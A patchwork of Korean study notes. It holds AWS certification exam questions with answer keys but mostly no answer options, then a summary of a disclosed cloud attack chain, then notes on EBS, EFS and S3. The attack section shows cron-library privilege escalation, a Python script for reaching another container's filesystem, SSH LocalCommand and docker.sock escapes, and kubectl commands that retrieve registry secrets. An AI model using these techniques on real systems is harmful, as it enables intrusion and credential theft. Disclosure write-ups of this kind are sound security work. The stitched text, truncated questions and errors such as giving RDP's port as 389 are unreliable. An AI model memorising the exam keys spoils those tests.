어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

정답 : A

57 .

한 회사가 Amazon S3 버킷에 거래에 대한 세부 정보를 저장합니다. 이 회사는 S3 버킷에 대한 모든 쓰기를 동일한 AWS 리전에 있는 다른 S3 버킷에 기록하려고 합니다.
어떤 솔루션이 최소한의 운영 노력으로 이 요구 사항을 충족할까요?

정답 : D

58 .

데이터 엔지니어는 사용자가 Amazon EMR 및 Amazon Athena 쿼리를 통해 액세스하는 중앙 메타데이터 리포지토리를 유지 관리해야 합니다. 리포지토리는 많은 테이블의 스키마와 속성을 제공해야 합니다. 일부 메타데이터는 Apache Hive에 저장됩니다. 데이터 엔지니어는 Hive에서 중앙 메타데이터 리포지토리로 메타데이터를 가져와야 합니다.
어떤 솔루션이 최소한의 개발 노력으로 이러한 요구 사항을 충족할까요?

정답 : C

59 .

회사는 AWS에 데이터 레이크를 구축해야 합니다. 회사는 특정 팀에 행 수준 데이터 액세스와 열 수준 데이터 액세스를 제공해야 합니다. 팀은 Amazon Athena, Amazon Redshift Spectrum, Amazon EMR의 Apache Hive를 사용하여 데이터에 액세스합니다.
어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : A, E

https://aws.amazon.com/ko/blogs/big-data/top-10-performance-tuning-tips-for-amazon-athena/

61 . 

한 회사가 중요한 애플리케이션의 데이터베이스로 Amazon RDS for MySQL을 사용합니다. 데이터베이스 워크로드는 대부분 쓰기이고, 읽기는 적습니다.
데이터 엔지니어는 DB 인스턴스의 CPU 사용률이 매우 높다는 것을 알아챘습니다. 높은 CPU 사용률로 인해 애플리케이션 속도가 느려집니다. 데이터 엔지니어는 DB 인스턴스의 CPU 사용률을 줄여야 합니다.
이 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 조치를 취해야 합니까? (두 가지를 선택하세요.)

정답 : A

65 .

데이터 엔지니어는 10개의 소스 시스템에서 데이터를 처리하고 Amazon Redshift 데이터베이스에 있는 10개의 테이블로 로드하기 위한 추출, 변환 및 로드(ETL) 파이프라인을 구축해야 합니다. 모든 소스 시스템은 15분마다 .csv, JSON 또는 Apache Parquet 파일을 생성합니다. 모든 소스 시스템은 하나의 Amazon S3 버킷으로 파일을 전달합니다. 파일 크기는 10MB에서 20GB까지입니다. ETL 파이프라인은 데이터 스키마가 변경되어도 올바르게 작동해야 합니다.
어떤 데이터 파이프라인 솔루션이 이러한 요구 사항을 충족할까요? (두 가지를 선택하세요.)

정답 : B

67 .

회사의 데이터 엔지니어는 테이블 SQL 쿼리의 성능을 최적화해야 합니다. 회사는 Amazon Redshift 클러스터에 데이터를 저장합니다. 데이터 엔지니어는 예산 제약으로 인해 클러스터 크기를 늘릴 수 없습니다.
회사는 여러 테이블에 데이터를 저장하고 EVEN 분산 스타일을 사용하여 데이터를 로드합니다. 일부 테이블은 크기가 수백 기가바이트입니다. 다른 테이블은 크기가 10MB 미만입니다. 어떤 솔루션이 이러한 요구 사항을 충족할까요?

정답 : C

68 .

한 회사가 물리적 주소 데이터가 포함된 .csv 파일을 받습니다. 이 데이터는 Door_No, Street_Name, City, Zip_Code라는 이름의 열에 있습니다. 이 회사는 다음 형식으로 이러한 값을 저장하는 단일 열을 만들고자 합니다.
어떤 솔루션이 가장 적은 코딩 노력으로 이 요구 사항을 충족할까요?

정답 : B

69 .

한 회사가 민감한 고객 정보가 포함된 Amazon S3 객체로 통화 기록을 수신합니다. 회사는 암호화를 사용하여 S3 객체를 보호해야 합니다. 또한 회사는 특정 직원만 액세스할 수 있는 암호화 키를 사용해야 합니다.
어떤 솔루션이 최소한의 노력으로 이러한 요구 사항을 충족할까요?

정답 : D

71 .

보안 검토 중에 한 회사가 AWS Glue 작업에서 취약점을 발견했습니다. 이 회사는 Amazon Redshift 클러스터에 액세스하는 자격 증명이 작업 스크립트에 하드 코딩되어 있음을 발견했습니다.
데이터 엔지니어는 AWS Glue 작업의 보안 취약점을 수정해야 합니다. 솔루션은 자격 증명을 안전하게 저장해야 합니다.
데이터 엔지니어는 이러한 요구 사항을 충족하기 위해 어떤 단계 조합을 취해야 합니까? (두 가지를 선택하세요.)

정답 : D, E

72 .

데이터 엔지니어는 Amazon Redshift를 사용하여 매달 한 번 리소스 집약적 분석 프로세스를 실행합니다. 매달 데이터 엔지니어는 새로운 Redshift 프로비저닝 클러스터를 만듭니다. 데이터 엔지니어는 매달 분석 프로세스가 완료된 후 Redshift 프로비저닝 클러스터를 삭제합니다. 데이터 엔지니어는 매달 클러스터를 삭제하기 전에 클러스터에서 Amazon S3 버킷으로 백업 데이터를 언로드합니다. 데이터 엔지니어는
인프라를 수동으로 관리할 필요가 없는 월별 분석 프로세스를 실행하는 솔루션이 필요합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : B

73 .

한 회사가 .xls 형식의 고객 데이터가 포함된 일별 파일을 받습니다. 이 회사는 이 파일을 Amazon S3에 저장합니다. 일별 파일의 크기는 약 2GB입니다.
데이터 엔지니어가 고객 이름이 포함된 파일의 열과 고객 성이 포함된 열을 연결합니다. 데이터 엔지니어는 파일에 있는 고유한 고객 수를 파악해야 합니다.
어떤 솔루션이 최소한의 운영 노력으로 이 요구 사항을 충족할까요?

의료 회사가 Amazon Kinesis Data Streams를 사용하여 웨어러블 기기, 병원 장비 및 환자 기록에서 실시간 건강 데이터를 스트리밍합니다.
데이터 엔지니어는 스트리밍 데이터를 처리할 솔루션을 찾아야 합니다. 데이터 엔지니어는 Amazon Redshift Serverless 웨어하우스에 데이터를 저장해야 합니다. 솔루션은 스트리밍 데이터와 전날 데이터의 거의 실시간 분석을 지원해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : B

https://docs.aws.amazon.com/redshift/latest/dg/materialized-view-streaming-ingestion.html

75 .

데이터 엔지니어는 Amazon S3 버킷에 저장된 데이터에 대한 Amazon Athena 쿼리를 기반으로 하는 Amazon QuickSight 대시보드를 사용해야 합니다. 데이터 엔지니어가 QuickSight 대시보드에 연결하면 권한이 충분하지 않음을 나타내는 오류 메시지를 받습니다.
어떤 요인이 권한 관련 오류를 일으킬 수 있습니까? (두 가지를 선택하세요.)

한 회사가 JSON 형식과 .csv 형식으로 데이터 세트를 Amazon S3 버킷에 저장합니다. 이 회사에는 Microsoft SQL Server 데이터베이스용 Amazon RDS, 프로비저닝 용량 모드의 Amazon DynamoDB 테이블, Amazon Redshift 클러스터가 있습니다. 데이터 엔지니어링 팀은 SQL과 유사한 구문을 사용하여 데이터 과학자가 모든 데이터 소스를 쿼리할 수 있는 솔루션을 개발해야 합니다.
어떤 솔루션이 최소한의 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : B

80 .

데이터 엔지니어는 추출, 변환 및 로드(ETL) 작업을 빌드해야 합니다. ETL 작업은 사용자가 Amazon S3 버킷에 업로드하는 매일 들어오는 .csv 파일을 처리합니다. 각 S3 객체의 크기는 100MB 미만입니다.
어떤 솔루션이 이러한 요구 사항을 가장 비용 효율적으로 충족할까요?

https://aws.amazon.com/ko/glue/pricing/

https://docs.aws.amazon.com/whitepapers/latest/aws-glue-best-practices-build-performant-data-pipeline/additional-considerations.html

81 .

데이터 엔지니어는 Orders라는 AWS Glue 크롤러를 사용하여 AWS Glue Data Catalog 테이블을 만듭니다. 데이터 엔지니어는 다음과 같은 새 파티션을 추가하려고 합니다.

s3://transactions/orders/order_date=2023-01-01
s3://transactions/orders/order_date=2023-01-02

데이터 엔지니어는 테이블 위치에 있는 모든 폴더와 파일을 스캔하지 않고도 메타데이터를 편집하여 테이블에 새 파티션을 포함해야 합니다. 데이터 엔지니어는 Amazon Athena에서 어떤 데이터 정의 언어(DDL) 문을 사용해야 합니까?

• A. ALTER TABLE Orders ADD PARTITION(order_date=’2023-01-01’) LOCATION ‘s3://transactions/orders/order_date=2023-01-01’; ALTER TABLE Orders ADD PARTITION(order_date=’2023-01-02’) LOCATION ‘s3://transactions/orders/order_date=2023-01-02’;
• B. MSCK REPAIR TABLE Orders;
• C. REPAIR TABLE Orders;
• D. ALTER TABLE Orders MODIFY PARTITION(order_date=’2023-01-01’) LOCATION ‘s3://transactions/orders/2023-01-01’; ALTER TABLE Orders MODIFY PARTITION(order_date=’2023-01-02’) LOCATION ‘s3://transactions/orders/2023-01-02’

정답 : A

82 .

한 회사가 Amazon S3에 10~15TB의 압축되지 않은 .csv 파일을 저장합니다. 이 회사는 Amazon Athena를 일회성 쿼리 엔진으로 평가하고 있습니다. 이 회사는 쿼리 런타임과 스토리지 비용을 최적화하기 위해 데이터를 변환하고자 합니다.

어떤 파일 형식과 압축 솔루션이 Athena 쿼리에 대한 이러한 요구 사항을 충족할까요?

83 .

한 회사가 Apache Airflow를 사용하여 회사의 현재 온프레미스 데이터 파이프라인을 조율합니다. 이 회사는 파이프라인의 일부로 SQL 데이터 품질 검사 작업을 실행합니다. 이 회사는 파이프라인을 AWS로 마이그레이션하고 AWS 관리 서비스를 사용하려고 합니다.

어떤 솔루션이 리팩토링을 가장 적게 하면서 이러한 요구 사항을 충족할까요?

정답 : C

AWS Glue Workflows는 Glue 관련 ETL 작업을 조율하는 데 탁월하지만, AWS Step Functions는 더 큰 유연성, 더 광범위한 통합 기능, 효과적인 비용 관리로 인해 Amazon EMR 기반 ETL 파이프라인을 조율하는데 더 적합

85 .

온라인 리테일 회사가 Amazon S3 버킷에 Application Load Balancer(ALB) 액세스 로그를 저장합니다. 이 회사는 Amazon Athena를 사용하여 로그를 쿼리하여 트래픽 패턴을 분석하려고 합니다.

데이터 엔지니어가 Athena에서 분할되지 않은 테이블을 만듭니다. 데이터 양이 점차 증가함에 따라 쿼리에 대한 응답 시간도 증가합니다. 데이터 엔지니어는 Athena에서 쿼리 성능을 개선하려고 합니다.

어떤 솔루션이 최소한의 운영 노력으로 이러한 요구 사항을 충족할까요?

정답 : B

86 .

한 회사가 AWS에서 비즈니스 인텔리전스 플랫폼을 운영하고 있습니다. 이 회사는 AWS Storage Gateway Amazon S3 File Gateway를 사용하여 회사의 온프레미스 환경에서 Amazon S3 버킷으로 파일을 전송합니다.

데이터 엔지니어는 각 파일 전송이 성공적으로 완료되면 일련의 AWS Glue 작업을 실행하기 위해 AWS Glue 워크플로를 자동으로 시작하는 프로세스를 설정해야 합니다.

어떤 솔루션이 이러한 요구 사항을 가장 적은 운영 오버헤드로 충족할까요?

정답 : D

B 는 EventBridge 에서 S3 파일 게이트웨이 전송 이벤트를 받을 수 없으므로 제외한다.

87 .

소매업체는 Amazon Aurora PostgreSQL을 사용하여 실시간 거래 데이터를 처리하고 저장합니다. 이 회사는 데이터 웨어하우스에 Amazon Redshift 클러스터를 사용합니다.

매일 아침 추출, 변환 및 로드(ETL) 작업을 실행하여 PostgreSQL 데이터베이스의 새 데이터로 Redshift 클러스터를 업데이트합니다. 이 회사는 빠르게 성장했으며 Redshift 클러스터의 비용을 최적화해야 합니다.

데이터 엔지니어는 과거 데이터를 보관하기 위한 솔루션을 만들어야 합니다. 데이터 엔지니어는 PostgreSQL의 실시간 거래 데이터, Redshift의 현재 데이터 및 보관된 과거 데이터의 데이터를 효과적으로 결합하는 분석 쿼리를 실행할 수 있어야 합니다. 솔루션은 비용을 줄이기 위해 Amazon Redshift에 최근 15개월 분의 데이터만 보관해야 합니다.

이러한 요구 사항을 충족하는 단계 조합은 무엇입니까? (두 가지를 선택하십시오.)

정답 : A, C

Federated Query 는 실시간 데이터베이스 데이터를 조회할 수 있고, Spectrum 은 S3 데이터들을 조회할 수 있다.

S3 클래스 중 Glacier Flexible Retrieval 과 Spectrum 은 연결이 불가능하다.

88 .

제조 회사는 전 세계 시설에 많은 IoT 기기를 보유하고 있습니다. 이 회사는 Amazon Kinesis Data Streams를 사용하여 기기에서 데이터를 수집합니다. 데이터에는 기기 ID, 캡처 날짜, 측정 유형, 측정 값, 시설 ID가 포함됩니다. 이 회사는 시설 ID를 파티션 키로 사용합니다.

이 회사의 운영 팀은 최근 많은 WriteThroughputExceeded 예외를 관찰했습니다. 운영 팀은 일부 샤드가 많이 사용되었지만 다른 샤드는 일반적으로 유휴 상태임을 발견했습니다.

이 회사는 운영 팀이 관찰한 문제를 어떻게 해결해야 할까요?

정답 : A

D 는 골고루 분산이 되지 않을 수 있다.

89 .

데이터 엔지니어는 판매 데이터 테이블에 대해 실행되는 Amazon Athena의 SQL 쿼리 성능을 개선하고자 합니다.
데이터 엔지니어는 특정 SQL 문의 실행 계획을 이해하고자 합니다. 또한 데이터 엔지니어는 SQL 쿼리에서 각 작업의 계산 비용을 보고자 합니다.
이러한 요구 사항을 충족하기 위해 데이터 엔지니어는 어떤 문을 실행해야 합니까?

• A. EXPLAIN SELECT * FROM sales;
• B. EXPLAIN ANALYZE FROM sales;
• C. EXPLAIN ANALYZE SELECT * FROM sales;
• D. EXPLAIN FROM sales;

정답 : C

90 .

한 회사가 VPC 내에서 로그 전달 스트림을 프로비저닝할 계획입니다. 이 회사는 VPC 흐름 로그를 Amazon CloudWatch Logs에 게시하도록 구성했습니다. 이 회사는 추가 분석을 위해 거의 실시간으로 Splunk에 흐름 로그를 보내야 합니다.

어떤 솔루션이 가장 적은 운영 오버헤드로 이러한 요구 사항을 충족할까요?

정답 : B

93 .

온라인 리테일 회사에 VPC에 있는 Amazon EC2 인스턴스에서 실행되는 애플리케이션이 있습니다. 이 회사는 VPC에 대한 흐름 로그를 수집하고 네트워크 트래픽을 분석하려고 합니다.

이러한 요구 사항을 가장 비용 효율적으로 충족할 솔루션은 무엇입니까?

정답 : D

98 .

한 회사에서는 머신 러닝(ML)을 사용하여 Amazon S3 데이터 레이크에 있는 데이터에 대한 분석을 수행하려고 합니다. 이 회사에는 회사 내 소비자에게 보고서를 만들 수 있는 기능을 제공하는 두 가지 데이터 변환 요구 사항이 있습니다.

이 회사는 예약된 시간에 Amazon S3에 도착해야 하는 다양한 형식의 300GB 데이터에 대해 매일 변환을 수행해야 합니다. 이 회사는 S3 데이터 레이크에 있는 테라바이트 규모의 보관된 데이터에 대해 일회성 변환을 수행해야 합니다. 이 회사는 Amazon Managed Workflows for Apache Airflow(Amazon MWAA) Directed Acyclic Graphs(DAG)를 사용하여 처리를 조율합니다.

이 회사는 이러한 요구 사항을 가장 비용 효율적으로 충족하기 위해 Amazon MWAA DAG에 어떤 작업 조합을 예약해야 합니까? (두 가지를 선택하세요.)

01 .

회사에 더 큰 이미지에서 이미지 썸네일을 생성하는 AWS Lambda 함수가 있습니다. Lambda 함수는 동일한 AWS 계정의 Amazon S3 버킷에 대한 읽기 및 쓰기 액세스 권한이 필요합니다.
Lambda 함수에 이 액세스를 제공하는 솔루션은 무엇입니까? (두 가지를 선택합니다.)

02 . 

보안 엔지니어가 example.com 라는 새 웹 사이트를 구성하고 있습니다. 보안 엔지니어는 사용자가 HTTPS를 통해 example.com 에 연결하도록 요구하여 웹 사이트와의 통신을 보호하려고 합니다.
다음 중 SSL/TLS 인증서를 저장하는 데 유효한 옵션은 무엇입니까?

03 .

보안 엔지니어는 회사의 Amazon EC2 인스턴스에서 발생할 수 있는 보안 이벤트를 조사하고 대응하기 위한 프로세스를 개발해야 합니다. 모든 EC2 인스턴스는 Amazon Elastic Block Store(Amazon EBS)에서 지원됩니다. 이 회사는 AWS Systems Manager를 사용하여 모든 EC2 인스턴스를 관리하며 모든 EC2 인스턴스에 Systems Manager Agent(SSM Agent)를 설치했습니다.
보안 엔지니어가 개발 중인 프로세스는 AWS 보안 모범 사례를 준수해야 하며 다음 요구 사항을 충족해야 합니다.
손상된 EC2 인스턴스의 휘발성 메모리와 비휘발성 메모리는 포렌식 목적으로 보존되어야 합니다.
손상된 EC2 인스턴스의 메타데이터는 해당 인시던트 티켓 정보로 업데이트되어야 합니다.
손상된 EC2 인스턴스는 조사 중에 온라인 상태를 유지해야 하지만 맬웨어의 확산을 방지하기 위해 격리해야 합니다.
휘발성 데이터 수집 중 모든 조사 활동은 프로세스의 일부로 캡처되어야 합니다.
보안 엔지니어가 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하기 위해 수행해야 하는 단계 조합은 무엇입니까? (세 가지를 선택한다.)

해설 : 현재 EC2 Instance 의 메타데이터를 수집하고, 종료 방지한 다음 네트워크 차단, 스냅샷 캡처 순으로 조사한다.

실행 중인 인스턴스를 다른 서브넷으로 옮길 수 없다. SMS 를 사용하여 백업을 할 수 있지만, 메타데이터 및 인시던트 티켓 정보로 태그를 지정하는 부분을 자동화 할 수 없다.

04 .

회사의 AWS Organizations에 조직이 있습니다. 이 회사는 조직에서 AWS CloudFormation StackSets를 사용하여 다양한 AWS 설계 패턴을 환경에 배포하려고 합니다. 이러한 패턴은 Amazon EC2 인스턴스, Elastic Load Balancing(ELB) 로드 밸런서, Amazon RDS 데이터베이스, Amazon Elastic Kubernetes Service(Amazon EKS) 클러스터 또는 Amazon Elastic Container Service(Amazon ECS) 클러스터로 구성됩니다.

정답 : C, D

해설 : AWS Backup을 사용하여 Amazon DynamoDB에 대한 예약된 백업 설정 | Amazon Database 블로그

단순 rate schedule 표현식은 고정된 주기를 지정할 수 없다.

07.

회사는 다중 계정 인증 및 권한 부여를 위한 확장 가능한 솔루션을 구현하기 위해 보안 엔지니어가 필요합니다. 이 솔루션은 추가 사용자 관리 아키텍처 구성 요소를 도입해서는 안 됩니다. 네이티브 AWS 기능을 가능한 한 많이 사용해야 합니다. 보안 엔지니어가 모든 기능을 활성화하고 AWS IAM Identity Center(AWS Single Sign-On)를 활성화한 상태로 AWS Organizations를 설정했습니다.
보안 엔지니어가 작업을 완료하기 위해 수행해야 하는 추가 단계는 무엇입니까?

정답 : B

해설 : AWS Identity Center FAQ - Amazon Web Services(AWS)

08 .

한 회사에서 Amazon GuardDuty를 배포했으며 이제 잠재적 위협에 대한 자동화를 구현하려고 합니다. 이 회사는 회사의 AWS 환경에 있는 Amazon EC2 인스턴스에서 발생하는 RDP 무차별 암호 대입 공격부터 시작하기로 결정했습니다. 보안 엔지니어는 조사 및 잠재적인 수정이 이루어질 때까지 의심스러운 인스턴스에서 감지된 통신을 차단하는 솔루션을 구현해야 합니다.
이러한 요구 사항을 충족하는 솔루션은 무엇입니까?

정답 : C

해설 : GuardDuty 탐지를 Security Hub 로 보내는 것은 간단하고 비용 효율적이다. EventBridge 를 활용해서 데이터들을 핸들링할 수 있으며, 번거로운 Kinesis Data Stream 을 사용할 필요가 없다. WAF 는 80 포트와 443 포트만 차단하므로 RDP 389 포트는 차단할 수 없다. 보안 그룹은 의심스러운 트래픽을 차단하는데 사용하는 서비스가 아니다.

09 .

회사에 프로덕션 애플리케이션을 호스팅하는 AWS 계정이 있습니다. 회사는 Amazon GuardDuty가 계정에서 Impact:IAMUser/AnomalousBehavior 결과를 감지했다는 이메일 알림을 받습니다. 보안 엔지니어는 이 보안 인시던트에 대한 조사 플레이북을 실행해야 하며 애플리케이션에 영향을 주지 않고 정보를 수집하고 분석해야 합니다.
이러한 요구 사항을 가장 빠르게 충족하는 솔루션은 무엇입니까?

정답 : B

해설 : Amazon GuardDuty를 사용하여 AWS 계정 내에서 의심스러운 활동을 탐지하는 방법 | AWS 보안 블로그

10 .

회사 A에는 계정 A라는 AWS 계정이 있습니다. 회사 A는 최근에 인수한 회사 B에 계정 B라는 AWS 계정이 있습니다. 회사 B는 파일을 Amazon S3 버킷에 저장합니다. 관리자는 계정 A의 사용자에게 계정 B의 S3 버킷에 대한 전체 액세스 권한을 부여해야 합니다.
관리자가 계정 A의 사용자가 계정 B의 S3 버킷에 액세스할 수 있도록 IAM 권한을 조정한 후에도 사용자는 여전히 S3 버킷의 파일에 액세스할 수 없습니다.
이 문제를 해결할 수 있는 솔루션은 무엇입니까?

정답 : C

해설 : 예제 2: 버킷 소유자가 교차 계정 버킷 권한을 부여 - Amazon Simple Storage Service

https://www.wiz.io/blog/brokensesame-accidental-write-permissions-to-private-registry-allowed-potential-r

공격 흐름

Privilege Escalation (권한 상승)

루트 권한으로 1분마다 바이너리를 실행하는 cronjob 발견

$: ls -lah /etc/cron.d/tsar 
-rw-r--r-- 1 root root 99 Apr 19  2021 /etc/cron.d/tsar 

$: cat /etc/cron.d/tsar 

# cron tsar collect once per minute 
MAILTO="" 
* * * * * root /usr/bin/tsar --cron > /dev/null 2>&1

cronjob 으로 실행하는 tstar 의 바이너리의 의존성을 확인해보니 사용자의 write 권한이 있는 바이너리를 실행하고 있음

(/u01/adbpg/lib/libgcc_s.so.1)

$: ls -alh /u01/adbpg/lib/libgcc_s.so.1 
-rwxr-xr-x 1 adbpgadmin adbpgadmin 102K Oct 27 12:22 /u01/adbpg/lib/libgcc_s.so.1

• 코드를 루트로 실행할 수 있도록 SUID 권한으로 libgcc_s.so.1 파일을 복사
• patchELF 유틸리티로 libgcc_s.so.1 라이브러리에 종속성 추가
• libgcc_s.so.1 라이브러리를 공격 코드가 기재되어 있는 라이브러리로 덮어씌움
• /usr/bin/tsar 라이브러리가 실행되기를 기다림

Container Escape (호스트 노드로 이동)

Alibaba Cloud 포털의 SSL Encryption 기능을 on / off 했을 때 수행되는 행위 조사

# Command lines of the spawned processes
su - adbpgadmin -c scp /home/adbpgadmin/xxx_ssl_files/* 
*REDACTED*:/home/adbpgadmin/data/master/seg-1/ 

/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes 
-- *REDACTED* scp -d -t /home/adbpgadmin/data/master/seg-1/

• 생성된 프로세스 중 컨테이너에 존재하지 않는 경로가 명령줄에 포함되어 있어
• PID 네임스페이스를 공유하는 다른 컨테이너에서 생성되고 있다고 추론

SCP 프로세스가 실행되기를 기다린 다음, 파일 시스템에 접근할 수 있는지 조사

# The Python script we used to access the second container filesystem
import psutil 
import os 
listed = set() 
while True: 
    for proc in psutil.process_iter(): 
        try: 
            processName = proc.name() 
            processID = proc.pid 
            cmdLine = proc.cmdline() 
            if processID not in listed and processName == 'scp': 
                os.system('ls -alh /proc/{}/root/'.format(processID)) 

                listed.add(processID) 
        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
          pass

두 컨테이너가 같은 홈 디렉토리를 마운트해서 사용하고 있음을 확인

홈 디렉토리가 공유될 때마다 SSH 명령이 실행되기 때문에 로컬 SSH 클라이언트 구성 파일을 수정해서 임의의 명령을 실행 할 수 있도록 수정 (LocalCommnad 필드를 통해 구성할 수 있음)

SSL Encryption 기능을 활성화 / 비활성화하기 위해 임시로 생성된 컨테이너에서 /run/docker.sock 이 열려져 있는 것을 확인함

/run/docker.sock 도커 데몬을 통해 영구적으로 권한이 상승된 컨테이너를 생성. 자세한 사항은 아래 내용을 참고

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#mounted-docker-socket-escape

Lateral Movement (측면 이동)

멀티테넌시 환경에서 다른 테넌트의 자원을 사용할 수 있었음 (측면 이동이라기 보다는 멀티 테넌시 악용)

k8s API 서버에 엑세스하여 kubectl 명령어로 다른 테넌트의 pod 를 접속하여 정보 접근이 가능했음

# Listing the pods inside the K8s cluster
$: /tmp/kubectl get pods 
NAME                                                                       READY   STATUS      RESTARTS   AGE 
gp-4xo3*REDACTED*-master-100333536                                      1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-master-100333537                                      1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333538                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333539                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333540                                     1/1     Running     0          5d1h 
gp-4xo3*REDACTED*-segment-100333541                                     1/1     Running     0          5d1h 
gp-gw87*REDACTED*-master-100292154                                      1/1     Running     0          175d 
gp-gw87*REDACTED*-master-100292155                                      1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292156                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292157                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292158                                     1/1     Running     0          175d 
gp-gw87*REDACTED*-segment-100292159                                     1/1     Running     0          175d 
...

자격증명 탈취를 위해 docker 이미지 스펙들을 조사하던 찰나, 프라이빗 레지스트리 저장소에서 이미지를 불러오는 것을 확인함

# A snippet of the pods configuration, illustrating the use of a private container registry 

"spec": { 
    "containers": [ 
        { 
            "image": "*REDACTED*.eu-central-1.aliyuncs.com/apsaradb_*REDACTED*/*REDACTED*", 
            "imagePullPolicy": "IfNotPresent", 
...            
    "imagePullSecrets": [ 
        { 
            "name": "docker-image-secret" 
        } 
    ],

kubectl 명령어로 secret 확인

# Retrieving the container registry secret
$: /tmp/kubectl get secret -o json docker-image-secret 
{ 
    "apiVersion": "v1", 
    "data": { 
        ".dockerconfigjson": "eyJhdXRoc*REDACTED*" 
    }, 
    "kind": "Secret", 
    "metadata": { 
        "creationTimestamp": "2020-11-12T14:57:36Z", 
        "name": "docker-image-secret", 
        "namespace": "default", 
        "resourceVersion": "2705", 
        "selfLink": "/api/v1/namespaces/default/secrets/docker-image-secret", 
        "uid": "6cb90d8b-1557-467a-b398-ab988db27908" 
    }, 
    "type": "kubernetes.io/dockerconfigjson" 
} 

# Redacted decoded credentials
{ 
    "auths": { 
        "registry-vpc.eu-central-1.aliyuncs.com": { 
            "auth": "*REDACTED*", 
            "password": "*REDACTED*", 
            "username": "apsaradb*REDACTED*" 
        } 
    } 
}

컨테이너 이미지 레지스트리에 대한 자격 증명을 테스트한 결과 , 읽기 액세스 권한뿐만 아니라 쓰기 권한도 있다는 것을 발견 즉, 최소 권한의 원칙이 지켜지지 않았음

ssh {접속하려고 하는 서버의 계정}@{접속하려고 하는 서버의 IP 나 도메인} 명령어 형태로 실행되며 사용할 수 있는 옵션은 다음과 같다. ssh 명령어는 ssh client 에서 실행해야 한다.

로컬 터널링과 리모트 터널링, 다이나믹 터널링에 대한 자세한 예제는 다음과 같다.

두 스토리지 타입 모두 인스턴스가 종료되어도 저장하기 위한 용도로 사용된다.

EBS

• 네트워크 볼륨 드라이브 (USB Stick)
  
  • 네트워크 사용 필요
• 하나의 인스턴스에만 마운트 가능 (advanced 한 방법으로 multi-attach 도 가능)
• 특정 가용성 존에 연결
• EBS Elastic Volume
  • 볼륨 사이즈 변경 가능 ( 용량은 늘릴 수 있지만 줄일 수 없음 )
  • IOPS 나 처리량만 변경 가능 
  • 가동 중지 시간 없이 바로 변경 ( 인스턴스를 재시작하거나 볼륨을 삭제하지 않아도 된다 )
• 사용 시 주의사항
  • 기본적으 인스턴스가 종료될 때 Root EBS 볼륨도 같이 삭제된다
  • Root EBS 볼륨이 삭제되지 않으려면 'Delete on Terminated' 옵션을 비활성화한다
  • 기본적으로 다른 부착된 EBS 볼륨은 삭제되지 않는다

EFS

• 완전관리형 NFS (Network File System)
• 많은 인스턴스에 동시에 마운트 가능
• POSIX 파일 시스템 (표준 파일 API)
  • AMI 기반 Linux 인스턴스에 부착 가능 (윈도우 불가능)
• NFS v4.1 프로토콜 사용
• Security Group 으로 Access 제어할 수 있음
• KMS 서비스를 통한 암호화 가능
• 용량 계획 필요 없음. 자동 스케일링 지원
• 성능
  • NFS 에 1000 개의 세션이 동시 접근 가능하고 각각 10 GB / s 처리량 가능
  • 최대 Peta Byte 용량까지 지원 가능 자동 스케일링
• 성능 모드
  • EFS 생성 시에 설정 가능 
  • 일반 목적 - 민감한 지연 시간이 필요한 서비스에 사용 가능 (웹 서버, CMS)
  •  Max I/O  - 더 높은 최대 처리량 / 병렬 실행 (빅데이터, 미디어 처리)
• 처리량 모드
  • 버스팅 - 1TB 는 초당 50MB 인데 버스트는 초당 100MB 까지 상승 가
  • 프로비저닝 - 스토리지 크기에 상관 없이 처리량 설정 가능
  • 엘라스틱 - 워크로드 기반 자동 스케일링 업 / 다운 지원
    • 초당 3GB 읽기 / 초당 1GB 쓰기 업 가능
• 클래스
  • lifecycle 정책 설정하여 일정한 기간 이후 계층 이동 가능
  • Standard - 스토리지에 자주 접근이 필요한 경우
  • IA(Infrequent Access) - 자주 접근하지 않은 경우. 더 저렴한 비용
  • Archive - 1년에 한 번 접근하는 경우. 50% 저렴한 비용
• 가용성과 내구성
  • Standard - 여러 가용 영역에 배치. 프로덕션용으로 적합
  • One-zone - 한 개의 가용역역에 배치. 개발용으로 적합

EBS vs EFS

S3 정의

• 객체 스토리지
  • 버킷은 디렉토리, 객체는 파일과 유사
  • 객체 크기는 5TB 까지 저장
• 무한히 스케일링이 가능
• 버킷 이름은 모든 계정 모든 리전 통틀어 유일해야 한다
• 버킷은 리전에 위치
• 사용 사례
  • 아카이브 저장
  • 백업 및 장애 복구
  • 어플리케이션, 미디어 호스팅
  • 데이터 레이크
  • 정적 웹 사이트 호스팅

S3 복제

S3 Storage Class

S3 Lifecycle Rules

• LifeCycle Rule 을 통해 S3 버킷 스토리지 클래스를 자동으로 전환할 수 있다.
• 스토리지 클래스를 전환할 뿐만 아니라 유효기간이 만료되어 삭제도 가능하다. (전환 작업, 만료 작업)
• 버킷 전체나 버킷 내부 특정 Prefix 단위, Tag 단위로 설정이 가능하다.
• 사용 시 주의사항
  • Standard => Standard-IA => Intelligent-tier => OneZone-IA => Glacier => Deep-Archive 클래스로 순으로 전환이가능하지만 역순은 불가능하다. 사본 생성 후 사본을 옮겨야 한다.
• 사용 사례
  • 이미지 원본은 60일 이내에 즉시 복구가 가능하고, 썸네일은 쉽게 만들 수 있는데 마찬가지로 60일 정도 보관하고 6시간 이내에 복구해야 한다.
    • => 이미지 원본은 Standard 보관, 60일 이후 Glacier 로 전환, 썸네일 이미지는 OneZone-IA 보관 60일 이후 삭제
